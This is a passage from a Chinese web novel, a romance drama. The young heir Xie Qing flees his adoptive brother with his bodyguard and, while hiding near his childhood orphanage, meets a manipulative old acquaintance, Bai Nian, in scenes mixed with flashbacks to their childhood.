这事谢清以前开过玩笑,说要给柴老师当儿子。柴老师和丈夫膝下无子,一直都很渴望收养一个孩子,中学时代他和老师家走得近,彼此早已经把对方当成亲人。 据说当初柴老师一家也去福利院领养小孩,本来就看上了小谢清,结果被谢父抢先一步,后来觉得和其他小孩都没有缘分,就放弃了领养。 谢清站在谢呈冰的书房,把一柜子资料摔在他身上。 “我本来就是没人要的小孩,这事要是有商有量,也不是什么无法接受的事。可是,哥,你背着我这么做是什么意思?” 谢呈冰沉着脸:“反正当你哥哥也管不住你,不如趁早不当这个哥哥。” 谢清颤抖着手捡起一本报纸预刊:“你甚至打算宣告天下?谢呈冰,你想好了,你把这个消息放出去,我们就彻底恩断义绝了。” 谢清有种被背叛的感觉,偏偏在父亲去世这个当口,谢呈冰干出这种事来,由不得他不多想。 他和哥哥大吵一架,逃出谢家。 今天的情形和一年前何其相似! 唯一不同的是,谢清总觉得还忘记了什么重要的线索。和谢呈冰吵架那次,哥哥好像还说了什么,做了什么……他太难以接受,以至于现在一回想,都还会头痛,像是本能在回避。 有什么是比哥哥不想当他哥哥还难以接受的? 宋岩不知道谢清想起来什么了,表情这么痛苦。只知道他们只有十分钟时间,于是催促:“宝宝,到我背上来,有什么事先跑再说。” 谢清勉强点了点头,从后面紧紧搂住宋岩。 宋岩身手矫健,比他那次跳窗利索太多,即便背了个人也如履平地,底下巡逻的保镖发现了他们,还没叫出声,就被宋岩用小石子打中喉咙。 那个力道,但凡再大一点就是要人命的。 保镖都是宋家带出来的,根本不是宋岩对手,象征性地对付了两下,就睁一只眼闭一只眼了。 谢呈冰显然也没想到宋岩真的会为谢清背叛的这么彻底,他十分钟不到就上了楼,可卧室已经人去楼空,宋氏的保镖横七竖八躺在底下,各个都是废物。 谢呈冰捡起窗户栏杆上勾掉的一只睡衣装饰,布艺小兔的兔子笑脸被他捏变了形。 他在被卸掉的窗户前站了半晌,拿出手机给柴友梅打电话。 谢清原本打算躲去柴老师家的,但好巧不巧,让他想起了那么关键的记忆。 老师家现在肯定是不能去了,宋岩家也同样危险,他想来想去,对宋岩说:“去找秦屿吧,他说不定能帮我。” 宋岩脸色当即就难看了:“你再说一遍?” “……不然除了秦家,还有谁能和我哥分庭抗礼。” 宋岩把他从背上放下来,转身就走:“你自己去,我们分道扬镳。” 谢清跺脚:“喂?” 宋岩站定回头,但脸色依然不高兴。 “我接受你利用我,不代表能接受把你送到别的男人手里。你要是心有所属,今天为什么不直接联系他,找我,就是耍我吗?” 谢清哪知道就提一下秦屿,宋岩就炸了,他软化态度:“好,好,不找他,你生什么气嘛。那我们去这里吧。” 他说了个生僻地址。 “是我以前待过的福利院,先去那里躲几天,院长肯定能帮我打掩护。” 宋岩这才容色稍霁,走过来,面对他蹲了下来。 谢清低头一看,原来是右脚鞋带开了。宋岩一米九的大块头蹲在他腿前,背部肌肉随着他的动作显出形状,像只野性难驯的大型犬,寸头看上去毛绒绒的,谢清忍不住摸了一下:“脾气这么差,容易没老婆。” 宋岩侧仰起头,不怎么正经地哼笑一声:“脾气好时也不见你给我当老婆。” “是吗?那我失忆的时候是怎么和你谈的,该不会是被你强迫的吧。” 宋岩猛地站起身,高度一下窜了一截,谢清不得不由俯视改为轻微抬高视线。 保镖捏着小主人的后脖颈揪了揪:“我要是舍得强迫,你肚子早该被我干大了。” 谢清脸色一红:“说什么呢,粗俗,野蛮,下流!” 骂完还不解气,踩了他两脚:“谢呈冰当初骗我怀孕,你还联合他一起把我蒙在鼓里。” 宋岩无奈:“现在不是选择站在你这边了吗。” 他拽起谢清的胳膊一个转身,就把人轻松扛回了背上,托着屁股往上一颠。谢清不得不紧紧搂住他:“干嘛啊?可以了,放我下来我自己走。” 屁股被巴掌打了一下。 “让我多背一会儿。” 谢清气鼓鼓地骂:“臭流氓!” 宋岩导航了半天都定位不到那个福利院,索性不要地图了,幸好干他这行经常东奔西走,摸清地形,还时不时充当司机,对整座城市都很熟。 “一年前你该不会就是躲去那儿了吧?怪不得当时大少爷怎么也找不到。” “也许吧。” 到了福利院,恰逢今天闭院,没见着院长。谢清看了看日历,隔天是星期日,院长一定会去旁边的教堂做礼拜。 他们打算先在附近找宾馆住一晚上。 谢清今天在家因为置气都没怎么吃东西,拉着宋岩本想进一家法餐店,想了想今后的日子和卡里的余额,一转,到了隔壁的面包店。 面包店有坐的地方,宋岩让谢清休息,自己去点单。 穿过走廊的时候,一个端着番茄酱的店员匆匆跑出来,撞到了宋岩,弄了他一身酱。 谢清注意到动静,抬头看了一下,店员慌乱地用纸巾帮宋岩擦着胸口,从他的角度看,像电影情节一样。 他重新低头处理手机信息,归功于phantom留下的软件,谢呈冰给他植入的定位器是失效状态,谢呈冰肯定也发现了,所以开始从别的地方下手找他的下落,连那些狐朋狗友们都被惊动了,纷纷发消息问他出什么事了。 他不敢回,怕被找到,再说这些人都不中用,就算知道怎么回事,又有谁能帮他。 过了会儿宋岩还没回来,谢清不耐烦地抬头寻找,看见他站在柜台前和那个撞了他的店员有说有笑的。 店员应该是临时工,谢清以前没在这家店见过他,别人穿着都是工作围裙,就他穿了一件白T,脸长得也还算不错,往哪儿一站,天然揽客。 宋岩也怕谢清等急了,端着托盘准备过来,那个店员居然又拉住了他,笑着绕过柜台出来接过了托盘,一路帮他送了过来。 “宝宝,饿了吧,他家有车仔面,已经下锅在煮了,你先吃面包垫垫。” 年轻店员多看了谢清几眼,谢清还穿着绘满卡通图案的蓝色睡衣,披着宋岩的外套,一点不觉得自己打扮奇怪,自在松弛地低头玩手机。 店员笑道:“你们是情侣啊?” 宋岩:“嗯。” 谢清:“不是。” 宋岩笑容淡了一些,低头帮谢清切面包。店员取出随身便签和笔:“方便留个微信吗,等下我把衣服的钱赔给你。” “哦。”宋岩在想事情,随手给他写了号码。 店员把便签折好,小心翼翼收进贴身口袋。 谢清似笑非笑瞄着两个人互动,宋岩把面包递过来的时候,他拾起叉子戳了戳,扔开:“谁加热的?热过头都硬了。” 店员忙说:“是我,这款就是咸酥口的,你要是不喜欢,我换一只帮你重新加热。” “换个人帮我热吧。”谢清不客气地说。 “不用了,这个我吃。你吃这个吧。”宋岩看出来谢清在使小性子,不解地看他一眼,给了他一个“低调点”的眼神,推过来一盘甜的。 店员立刻在一旁推荐:“这是今天的限定款,卖的很好。” “我问你了吗?” 店员笑容一僵。 宋岩眉头皱了起来:“这是怎么了?” 谢清:“亲爱的,你说要是有人在我面前勾引你,你会怎么做啊?” 宋岩就是再迟钝,也明白他在暗指什么了,一方面发现谢清居然会吃醋,有点惊喜,另一方面又觉得他也太冤枉自己了,这哪跟哪儿啊? 刚才他和店员说自己男朋友爱吃酥的,店员还很热心地给他推荐。 店员:“先生,您误会了。” “是吗?知道他喜欢我,还当着我们的面要微信。原来是我误会了?” “我只是为了赔钱给他,那我不加他的了,加你的,你看可以吗?”店员重新拿出便签本。 谢清不耐烦地拍开,也没用多大力气,小本子居然飞出去掉在地上。 正好摔到了宋岩脚下,宋岩弯腰帮忙捡起来:“宝宝,够了。” 谢清:“你在帮谁说话?” 店员忙说:“不要因为我吵架呀。” “你听听,教科书式的绿茶。” 店员被他说的脸色发白,低下了头:“我……打扰了,有需要再喊我。”他转身跑掉了,便签本还落在桌子上。 宋岩拿着想过去还,被谢清在桌子底下狠狠一踹:“你敢去?” 宋岩站起身,在谢清不可置信地瞪视下叹气:“面好了,我总要去拿吧。” 谢清起身:“我去。” 路过宋岩身边时,宋岩一把搂住他的腰:“小猫吃醋我很开心,不过也太不讲道理了,嗯?” 谢清哼道:“想多了,单纯不喜欢别人未经同意摸我的狗狗。” 谢清走近柜台时,听见那个店员背靠在pos机附近打电话:“呵呵,他还和以前一样没有变,小脾气多的很。” “放心吧,谁有我懂怎么引起他的注意。” 谢清一听更反感了,看吧,果然是绿茶,刚才装的多天真无辜似的,现在也不知道跟谁打电话聊撩汉心得呢。 他敲了敲桌面,那店员瞟见是他,迅速挂了电话,换上一副笑脸。 谢清把他的便签本扔过去:“少招惹我的人。” 店员眨眨眼睛:“你不是说,他不是你男朋友吗?” 他把煮好的车仔面端进托盘,还免费给谢清加了几颗鱼蛋。 谢清不再理会他,端起来要回去,店员在后头叫住他,笑着把那张写了宋岩号码的便签当面丢进了垃圾桶。 “你说不行,那就算了吧。” 谢清回到位子上,宋岩注意到他碗里多了些自己没点的东西,问:“你多要的?上回不还说不爱吃。” 谢清筷子一顿,随即把鱼蛋夹出来放进宋岩面前的小盘子里,皮笑肉不笑:“小绿茶请你的,吃吧。” 他不是不爱吃,宋岩说的上回是什么时候他不记得了,刚才要是知道这是店员自己擅自加的,他才不要。 宋岩观察他的表情,就知道发生了什么事,回头往店员的方向看了一眼:“人家也没恶意,你瞧你。好吧,你不爱吃我吃。” 谢清看着宋岩还真毫无自觉地把店员请的鱼蛋吃掉了,重重哼了一声,后来干脆全程不搭理他了。 吃完东西两人去附近宾馆开房,宋岩跟前台要一间,谢清:“两间。” 宋岩看他一眼:“宝贝,你一个人我不放心。” 谢清想了想改口:“一间。” 前台给开了间大床房,进去以后,宋岩出于职业习惯把各个角落检查了一遍,观察了一下窗外,然后把窗帘拉死。 “宝宝,我们谈谈吧。” 谢清闲散地坐进大床里,拍了拍身边的位置。 宋岩瞧着他连落难逃跑都一副王子出巡的姿态,不由有点好笑,心也痒痒的,坐过去亲了他一口。 谢清故意嫌弃地擦脸,他也没介意。 强行按捺住想入非非的心情,宋岩才说:“虽然你没有记忆,不过逃跑这事,你也已经干过一年了。事实证明光跑是没用的,今后你打算怎么做?” 谢清把玩着睡衣上的装饰带子,故作轻松地说:“要么对付我哥,要么依靠和谢家势力差不多的大佬,要么,就继续跑,还能怎么样?” “依靠秦家、连家的事你都试过了,结果怎么样,相信你也猜得到。至于对付大少爷……你们毕竟是十几年的兄弟,矛盾真的不可调和了?” “你也看到谢呈冰是怎么对我的了,你觉得道理说得通?”谢清扭过身子不太高兴。 “好吧,我只是觉得,大少爷也许只是性格上的问题,并不是真的想伤害你的。” 宋岩把他扳回来:“你也无法真的下决定对付他吧?” 谢清闷闷不乐了一会儿,突然问:“我失忆前的那场车祸,你实话告诉我,到底是不是人为?” 宋岩一惊:“人为?你为什么这么想?你不会是怀疑……怎么可能呢!” 谢清盯着宋岩的眼睛,似乎在判断他究竟有没有说谎。 “我虽然不知道你和大少爷之间究竟有什么隔阂,导致他那样对你,但要你性命这种事是不可能的,你不要多想。” 宋岩强调:“真想害你,宋家也不是没干过职业杀手的脏活,一个简单的命令,还能由你在外面跑一年?” 谢清的神情稍微和缓了。 “那个撞了我的司机去过哥哥公司,你不知道吗?” “你怎么知道?”宋岩皱眉,“谁告诉你的?” “所以这是真的?这你要怎么解释。” 宋岩叹气:“大少爷不肯放过那个肇事司机,他是去求情的。车祸的事大少爷让我仔仔细细调查过,的确是意外。” 谢清心里那股矛盾感又上来了,谢呈冰到底是什么意思?一边好像真的很关心爱护他,一边又做出那种事。 难道真像宋岩说的,是性格缺陷?爸爸去世以后,哥哥压力太大精神崩溃了? 谢清不禁又有些心软,想回去见一见谢呈冰了。 phantom的提醒闹铃不合时宜的崩了出来。那个“普通技术宅”篡改了他的手机程序,设置了一个弹框提醒,催促他早点搞定服务器的事。 谢清不耐烦地删掉闹铃,脑子也稍微清醒了点。 就算要见谢呈冰,也不能是现在,他一无所有,拿什么傍身? 宋岩说:“其实还有一个办法,老太爷不是在国外养老吗,如果他老人家肯回来做主……” 谢清有些犹豫,他不是没想过这个选项。爷爷是很疼他的,但他只要一升起这个念头,埋藏在记忆中的声音就告诉他,别这么做,会落得不可挽回…… 他怎么都想不起来。一年前既然他也离家出走过,那时为什么没想到找爷爷回来替他出头呢? 一定有什么事情,是不方便让爷爷知道的吧。 ……到底是什么? “你在顾虑什么?”宋岩问。 “我……我也不知道。”谢清揉了揉脑袋,“也许你说得对,找爷爷回来,我就不用躲躲藏藏的了。” “可是,我哥一定会想办法阻拦的,该怎么把他老人家顺利接回来?” 宋岩攥着手机想了会:“这事交给严恺去办吧,他会办好的。” “嗯……” 谢清翻了个身,朝宋岩勾了勾手指。 “好了,不说这些了,走了这么远的路,累了吧?” 宋岩眸色一暗,跨上床压了过来。 “小猫要犒劳我吗?” 谢清一笑,双臂撑开被子抱住了宋岩:“是呀,奖励你……”他轻轻一推,就把毫不设防的宋岩推到了床下,连同一床被子。 “奖励你睡地上吧。” 他的手指在宋岩鬓角的疤上一滑而过,轻的像一片羽毛。 宋岩掉下床还有点懵,支起半个身子探头:“宝宝?” 谢清抖开另一床被子,背过身去一躺,眼睛一闭。 宋岩嘀咕:“又是哪儿得罪你了……” 翌日早上,谢清睡到自然醒,房间里就只有他一个人了。 桌子上有叠放好的新买的衣服,还有用传统的水盆加热水方式保温中的豆浆包子。 宋岩几乎是掐着他睡醒的时间打进来电话:“宝宝别怕,我快回来了。” 谢清哼道:“又不是小孩子,一个人就害怕。” 宋岩低低笑了声。谢清把窗帘拉开一条缝,见楼下也没什么异常:“你去哪儿了?” “料理几个碍事的尾巴。昨天你穿着睡衣跑的,虽然咱们都抄小路,路上还是有被人看见,大少爷可能很快就会找来,宝宝,你确定福利院院长会帮你?” 谢清说:“去见见就知道啦。” 谢清让宋岩去福利院旁边的教堂等他。 他过去汇合的时候,在门口居然又看见了昨天那个绿茶,宋岩在帮他摆蜡烛,两个人凑在一起交头接耳的不知道说什么。 他脸色当即就冷下来,也不过去,就站在这里等着看什么时候宋岩才发现。 白年今天也是一身干净清爽的白T恤,看上去就像个普通出来打工的大学生。 宋岩帮忙后随口问:“你在教堂也是做兼职?” “不是,是帮我们院长的忙,哦,就是隔壁那家福利院,我是从那里出来的。”白年笑了笑。 宋岩一怔:“哦,你也是啊。” “嗯?还有谁也是吗?” “我男朋友,你昨天见过的。不过你们好像不认识?” 白年眼神闪烁了一下:“男朋友吗……对了,你相信算命吗?” “好的信,坏的不信。” 白年又轻轻的笑起来:“坏的嘛,也是可以听一听的,这样才能规避呀,你说是不是?” 宋岩眉梢一抬:“怎么,你要给我算命啊?” “我在教堂边上长大的,中的西的都懂点,看人很准。你身上杀气很重,我没猜错的话,应该从事过危险职业吧。” 宋岩耸耸肩:“算是吧。” 这种说法,哪怕不是算命的人也对他讲过,他其实无所谓,这也不算坏话。 可白年接下来的话就让人不舒服了。 “业障太深,是会影响爱人气运的。你男朋友命轻,不担灾,你离他太近了会给他带来麻烦。” 宋岩眉毛就深深拧了起来,连带看白年都不顺眼了。 “我不懂算命,不过我懂一句老话,叫做交浅言深。”宋岩说。 白年:“抱歉。” 宋岩这时候终于注意到了谢清,阴霾一扫而空,笑着跑了过去:“宝宝,来了怎么不喊我。” 谢清睨他:“看你和那小绿茶聊的很开心嘛,哪儿敢打扰啊。” 宋岩赶紧解释:“没有的事,他说摆那个是积福的好事,我寻思帮宝宝你日行一善了。” “一听就是乱讲的,这你也信。” “是,他就爱乱讲。”宋岩把那个人给他瞎算命的事说了,没提“克妻”的事,光说白年暗示自己命不好。 谢清:“你再和他多聊几句,他就该给你卖保险了。” 宋岩本来想告诉他白年也是福利院出来的,不过一想他说不定真是个骗子神棍,谢清对他也没有好印象,想想算了。 偏偏白年又自己凑上来。 “你们两个来教堂,难道也是信徒?” 宋岩:“不是,找人。”他想着正好问问白年知不知道院长在哪儿,可他一搭话,谢清就不高兴地瞪他一眼。 白年笑起来,拍拍宋岩的胳膊:“你刚才帮我,我也帮帮你吧,找谁呢?” 谢清把宋岩往身边拉:“信你们这个教不是不能搞同性恋吗?” 白年一脸无辜地看着谢清。 谢清:“也不能破坏别人感情,懂?” 宋岩看好多人望过来,扯了扯谢清:“好了宝宝,不说了。” 谢清白他一眼:“死直男,走开,不想理你。”他自己甩开宋岩往里面走了。 宋岩刚想追,被白年叫住。 “抱歉啊,好像又惹你男朋友不高兴了。” 宋岩:“不是你的错,他就爱耍小性子。你下次看见我们也别过来搭话了。” 白年:“爱生气也是一种业障哦。” 宋岩听得不耐烦,转过身,突然白年在他身后问:“你爱人最近是不是失忆过?” 宋岩一愣:“你怎么知道?” “算的。” “这……这也能算?” 白年笑得人畜无害:“我说了我能看出很多东西的,全看别人信不信。也是觉得和你有缘,就多说两句。” 宋岩还是皱眉说了句“我不信这个”,但这次他要走时,变得犹豫万分,想了想,问白年:“你刚才说,我克他?那有没有消除的办法?” 他想,要是白年真给他卖保险卖转运珠,那就是铁骗子,前面说的都不做数,他一准扭头就走。 白年缓缓从口袋里掏出一条宝石手链。 宋岩已经没眼看了。 “这个送给你吧,戴着保平安的,可以压一压你的业障。” 宋岩怀疑地接过来看了看,就是条普普通通的宝石手串:“免费的?” “当然了,我说了嘛,是看在有缘的份上,才说这些的。” “戴上它就没事了?” “不是有句话叫,宁可信其有,不可信其无嘛。” 宋岩收起手串:“好吧,谢了。” 宋岩再转头,发现谢清已经离开教堂了,他追出去,看到谢清坐在路边的长椅上闷闷不乐。 “院长还是不在吗?” “不在,奇怪了。按说他星期天从不缺席的。” 谢清突然看到宋岩手腕上多出来的东西,表情一变:“好啊,几句话的功夫定情信物都收了?” “没有的事,他说这个转运。” “这种话你也信?我以前怎么没发现你这么好骗。” 谢清伸手把宝石手串撸下来,刚想再嘲讽几句,突然神情认真了几分,把手串拿到眼前细看。 “这个是他买的还是自己的?” 宋岩:“不知道啊,怎么了?” 谢清反反复复看了几遍,表情越来越难看:“你进去问问,他叫什么名字?” 宋岩虽然莫名其妙,还是回去问了,出来告诉谢清是“白年”。 谢清听到这个名字脸色更沉了几分。 “怎么了,真是小时候在福利院的熟人啊?”宋岩捏了捏谢清的脸,“你好像不太高兴?难道他小时候欺负过你?” 是反过来的。 小时候,谢清经常捉弄一个叫白年的。 一边跟在对方后头甜甜地喊年年哥哥,一边暗中恶作剧,比如把他关在祷告室再假装像天使降临一样的来救他,比如雇几个小混混堵他自己再跑出来阻止。 谢清小时候是个很会装乖的坏小孩,要不也不会那么顺利就被大人物领养走了。 这家福利院的小孩们没几个心性纯良的,那时候生活条件也很差,经常要饿肚子,打黑工,能被领养走的都是凭本事。 但白年就是那之中的异类,是个笨笨的只会受欺负的大哥哥。 大哥哥自以为年长有保护弟弟的职责,一直护小鸡仔一样护着谢清,殊不知许多麻烦本来都是没有的。 谢清喜欢看他笨拙地保护自己的样子,乐得演下去。 白年什么都听他的,叫他学狗叫他都会去学,其他小孩都笑他是谢清养的狗,他听到了也没什么感觉。 他只和谢清发过一次脾气,就是谢清被有个小孩带着染上了偷东西的坏习惯。 谢清第一回从超市得手,兴致勃勃地回来给白年炫耀:“年年哥哥你看!知道是怎么来的吗?” 白年疑惑:“这个很贵,欣欣,你哪来的钱?” 谢清神秘兮兮地勾勾手,在他耳边讲了新学来的顶级手法。 本以为白年会露出崇拜的眼神,不料他却发了火。 他抓着谢清回到超市,摁在售货员面前还了东西,逼他道了歉。 谢清从没见过这么凶,这么不听话的白年,就算偷东西有错,他以后不偷就是了,为什么要当众让他丢脸。 道歉的时候谢清羞耻害怕的哭出来,没有人教他什么是对的,却只有人在他做错的时候出来教训他。 大约是谢清哭得太可怜了,连售货员都比平时温柔万分:“没事了小朋友,知错就改是好孩子。” 谢清心想,我不是好孩子。 当好孩子会饿死的,我只当坏孩子。 回去以后坏孩子决定报复不听话的小狗。 他把去教堂路上的一块广告牌的螺丝拧松了,等它砸下来,可以吓人一跳。 结果那天出了好多意外,白年没按他预估的时间走那条路,广告牌掉下来时,据说不慎砸到一个贪玩的小孩。 那小孩是福利院的小霸王,底下狗腿众多,谢清害怕被找麻烦,当院长把他们召集在一起询问这件事的时候,他一口指认了是白年干的。 白年当时震惊地看着他,脸上满是被背叛的痛苦。 从那之后白年就不跟他玩了。 直到谢清被领养走的那天,小霸王告诉了谢清一件事,当初广告牌掉下来并没有砸到人,他是被人套了麻袋打了,那个人告诉他,不想再挨揍,就谎称是被广告牌砸的。 谢清愣愣的问:“那个人是谁?” 小霸王表情复杂:“你觉得呢?” 他还说:“其实你找小混混欺负他,关他的事,他都知道。” 谢清满脸震惊。 谢怀章带他走时,给他介绍自己的亲儿子:“欣欣,他是谢呈冰,以后就是你哥哥了。呈冰,他以后就是你弟弟了,去,牵弟弟的手带他回家。” 谢呈冰一板一眼地走过来对他伸出手,他刚要牵住,突然看见白年躲在窗户后面偷偷地看。 他这么一顿,谢呈冰就也顺着他的目光回头看过去。 白年腼腆地笑了笑,走出来:“你好,走之前,让我和欣欣弟弟说句话,可以吗?” 谢呈冰认真想了一下,点头,走到了一边。 白年就在谢清耳边一字一句地说:“要装得乖一点,千万不要被人发现你是个下贱的坏孩子哟。不然是会被赶出家门,流浪街头,冻死饿死,被野狗咬死的。” 谢清抖了一下,像从没认识过白年一样看了他一眼,然后迅速跑到了谢呈冰身边:“哥哥,我们走吧!” 谢呈冰低头看了看掌中软软的小手,捏了捏,说:“以后你就我和一起姓谢了,只有我一个哥哥,不可以再叫别人哥哥。” 谢清歪了下头,颇有些不解其意:“好哦。” 他有些害怕地回了次头,白年已经不在原地了。 谢清被接进谢家,生活水平发生了翻天覆地的变化,一度都要忘记在福利院的日子。 可是过了两年,有一天他生日,竟然又无意瞥见白年站在他家客厅的落地窗外,阴森森的,像一只孤魂野鬼。 谢清脸都吓白了,生怕白年是来拆穿他是个坏孩子,毁掉他的荣华富贵的。 好在那天到最后白年也没出现,仿佛一切都是他的幻觉。 谢清在宋岩的偷亲中回过了神。 宋岩:“叫你你没反应,亲一下倒知道掐我。” 谢清完全是下意识的。 “不会还没醒吧?想什么呢这么入神?那个白年?” “没有。”谢清说。 虽然在很长一段时间,白年都差点成为他的童年阴影,不过现在谢父都人死灯灭了,而他也真的已经不是谢家人了…… 又有什么理由再怕白年呢。 “我们走吧。” “这就走了吗?欣欣弟弟。” 身后响起带着笑意的声音,白年不知道什么时候从教堂追了出来。 第27章 第 27 章 “他来问我名字, 我就猜是你想问的,其实昨天在面包店见你第一面我就觉得眼熟了,果然是你吧, 欣欣弟弟?” 白年走到了两人面前。 谢清咳了一声:“别叫那个名字。谢清。” 宋岩在一边咂摸了声:“欣欣。” 谢清和白年同时看向他,一道视线满含警告, 另一道似乎也不友善,可定睛一回视, 又像只是他的错觉。 白年上前拉住了谢清的手:“我是不是变化很大?你都没认出来。” “唔。”谢清含糊了过去。他确实没凭长相认出来。 白年的脸在他的幻觉里一度被模糊的有点恐怖了。 可是真人居然长成了清爽干净的帅哥。 白年:“认出了我, 怎么不说过来叙叙旧?” 谢清扯出一个假笑:“年年哥哥, 你过得还好吧?” 白年深深看了他一眼,笑意更浓了:“再叫一声。” 谢清:“我们还有事, 今天就不叙旧了,下次……” “院长下午就回来了, 不等他吗?你今天来教堂,是来找他的吧。” 谢清出现了片刻犹豫。 宋岩把谢清的手从白年手中抽出来:“宝宝,怎么没听你说过, 你还有这么一个哥哥?” 谢清继续假笑:“福利院比我大的都是哥哥。” 白年:“骗人, 比你大的那么多,小时候你不是只叫我哥哥吗?” 他上前了一步,声音放轻:“欣欣弟弟,你对我的特别, 我可都记着呢。” 谢清假笑都维持不住了, 表情冷下来:“我叫谢清, 只有一个哥哥叫谢呈冰。” 白年变得有些委屈:“好吧, 清清?你是不是误会了什么, 我的话没有别的意思,是真的在想你对我的好呢。这么多年过去了, 想到分别的时候对你说过一些难听的话,我一直挺过意不去的,想当面和你道歉来着。” 谢清惊疑不定地看着他。 白年指了下还在谢清手里的宝石手串:“有一回我把它弄丢了,还是你帮我打着手电吹着冷风找回来的呢,就因为我说那是我妈妈的遗物。” 这么一说,谢清想起是有这回事。 不过他也只是白天听小霸王讲了个鬼故事,有点猎奇心理,才在晚上帮白年去找的。 后来被不知道什么人拖进树林里面,幸好白年找来的及时,才没出事,但他从此就很怕黑了。 白年真记着他的好,不记那些烂事吗?谢清不确定地打量他几眼。 白年进一步温和地笑:“你今天来找院长是不是有什么事?不然和我说说,我也许能帮你呢?” “不用,等下午我自己找他就行了。” 谢清拉着宋岩又打算走,白年说:“对了,你们是住面包店旁边那家宾馆吗?我今天刚才看到一些鬼鬼祟祟的人在宾馆附近,感觉不太安全呢。要不要来我家先落脚?” 宋岩一听就警惕起来,仔细问他那些人的特征,行为,白年说的很详细,不像是假的。 宋岩拍拍谢清,在他耳边小声说:“我去善后,宝宝,你先跟你这个哥哥去他家躲躲吧。” 谢清看了白年一眼,见他笑的心无芥蒂,犹豫着答应了:“那你小心点,早点回来。” “放心。”宋岩往谢清脸上亲了一口。 白年忽然插进两个人中间,热情地对宋岩说:“走吧,我带你们过去。” 宋岩被他挤的退后一步,想到谢清不喜欢自己和他接触,就又大退了一步:“谢了,白先生带他先去吧,我还有点事。” 白年把谢清带到自己住的居民楼底下,不好意思地说:“欣……清清,你在这儿等一等,我家太乱了,我上去先收拾一下。” “哦。” 谢清站在太阳底下,觉得有点晒,用手挡着额头四处找可以乘凉的地方,旁边小卖铺门口坐着个和他年纪相仿的男生,见状喊他:“嗨,来这儿坐?” 谢清就从善如流走了过去,对方给他分了一个小板凳,谢清觉得不买点东西不太好意思,摇了摇头,站在冰柜前面看,本来都准备拿一只雪糕出来,突然想起自己手机上没零钱了,他不敢用银行卡,会被哥哥查到在哪儿消费。 路上花的都是宋岩的,宋岩现在又不在。 谢清尴尬地笑了笑,重新合上冰柜。 那个男生大大咧咧地帮他拿出来:“我请你吃啊。你是来附近找实习的大学生吗?” 谢清摆摆手:“谢谢,不用啦。” 说完还对他弯了弯眼睛,男生怔了片刻,脸一下子就红了。 谢清忽然觉得他有点可爱,又改了口,指了指冰柜里另一只雪糕:“我想要这个。” “好、好啊。” “欣欣弟弟。”白年从居民楼里走了过来,“好了,跟我上来吧。” 他看了小卖铺的男生一眼,两个人明显是认识,互相打了招呼,高高兴兴聊了起来。 “他是你弟弟?你还有这么漂亮的弟弟啊。” 谢清皱眉:“不是。” 白年笑笑:“你想吃雪糕了?我给你买吧。” “没事我请。”男生说。 “不要了。”谢清转身走出小卖部。 白年在他身后提了下嘴角,对男生说:“好了,我带我弟弟先上楼,改天再聊。” “哦……哦……”男生拿着谢清先前指的雪糕,不知为何有些遗憾。 谢清走得很快,白年在后头喊他,他也没理,直到走进楼里,不知道白年家是几楼,他才停下。 他有个恶习。 谁对他殷勤,他就爱逗弄谁,可是这个人如果转头对其他人也那么笑脸相迎,他马上就会把对方视为死人一个,再没好脸色。 小时候他就长得可爱,又会装乖,大人小孩都爱和他搭话,但转头谢清就发现,白年一旦上去和那些人套近乎,他们很快也会那般笑。 经常到最后谢清身后的跟班只剩下白年一个,因为白年只听他一个人的。 白年唯一的臭毛病就是爱勾搭他的猎物,让他迅速丧失乐趣。 进了白年家,谢清有些意外。 家具很少,或者可以用家徒四壁来形容,因此给人的第一印象就是干净。 这么干净,刚才白年还说乱,几分钟就收拾成这样? 大概是要藏什么见不得人的东西吧。 谢清也无所谓,他一进门,就不客气地把主人关在了门外:“年年哥哥,你不是还要打工兼职吗?你去吧。” 白年可怜地站在门外:“可是……好吧,你有事再喊我。” 谢清泰然自若地趴在白年的沙发上给宋岩发消息,刚发了两条,突然发现抱枕底下有虫子,吓到他惨叫一声,惶然跑到门口拉开门。 幸好白年还没走,楚楚可怜地坐在楼梯口,听到动静匆忙站起身:“怎么了?” 谢清惨白着脸指着沙发。 白年赶紧挡在他身前,把虫子打死了,用纸捏着丢进下水道。 谢清抓着他后背嘟哝:“你进来陪着我。” 没想到这么干净的屋子也有虫子,白年根本没好好收拾! “好。” 门被关上,老旧的金属门锁映出白年微妙的笑容。 他进来以后帮谢清接了一杯水,随口问:“欣……好了别瞪我,清清,你要是找院长,其实叫你家的人带句话就好了,干嘛自己大老远过来呢?也不见你家司机送你。该不会,是你哥哥不舍得吧。” “别提他。”谢清拿起水喝了一口,发现大热天的连水都是热的。 “你找院长到底什么事呀?最近福利院日子不好过,他为了拉资助奔波的很辛苦呢,我也一直在帮忙。” 谢清一听,皱起眉头:“是吗?我也是想请他帮个小忙,和资助人牵个线,现在行情很不好吗?” 白年若有所思:“是有些遭,但你的忙,我和院长当然会尽力帮的。” 谢清不知道他说的是不是客套话,但是看他对自己的态度从进门就一直很好,渐渐也放松了。 白年家里没有空调,坐一会儿就有些受不了了,白年见状拿出扇子给谢清扇:“要喝冰镇饮料吗?我下去给你买。” “不用了,宋岩会给我买。” “他不是有事吗。” “就快回来了。” “哦。”白年放下小扇子起身,“我突然想起来没请假,去卧室给老板打个电话。” 他走进卧室,刚掏出手机,屏幕就亮起电话,备注是“连”,接起来,男人闲适但威严的声音从听筒传进耳朵: “白年,动作是不是太慢了?我的耐心有限。” 白年压低了声音:“连叔叔别急,我已经想到了一个绝妙的点子。倒是你手下人是不是太不中用了?拖个人都拖不住。” 电话那头冷笑一声:“知道了。等你好消息。” 谢清在沙发上百无聊赖地玩了会儿游戏,不停切出去确认时间,宋岩半个小时前还说马上过来,现在都没影子。 不一会儿白年从卧室走出来,笑着说:“刚刚院长发消息说回来了,我和他说了你来看他的事,他老人家也想见见你呢。” 谢清犹豫:“现在吗?但是我朋友……” “没关系,我把钥匙留在门口垫子底下,你朋友来了让他在我家休息,见个面也要不了多长时间,你说是吧。” 谢清想了想点头:“那好吧,院长在哪儿?先去见他。” 他站起身的时候,宝石手串突然从口袋里掉出来,谢清这才想起来这东西一直在自己身上。 “这个还你。” 白年接过来,却抓住了谢清的手给他戴上:“送出去的东西,哪有收回来的道理?” 谢清刚要扒下来,白年又说:“说起来我是送给你朋友的,你记得帮我转交。” 谢清动作停了下来,晃了晃手腕,石子碰撞的声音很好听,他哼笑:“岩哥才不要,他送给我了。” “哦,那你就戴着吧。” 谢清跟着白年去教堂见了院长,本以为院长说不定会认不出来他,不想院长一见到他就叫:“欣欣啊。” “你怎么样了?五个月前你一出门就再没了消息,让我担心的不得了啊。” 谢清笑容一僵,看来他失忆前果然是来过福利院,已然求助过院长一次了。 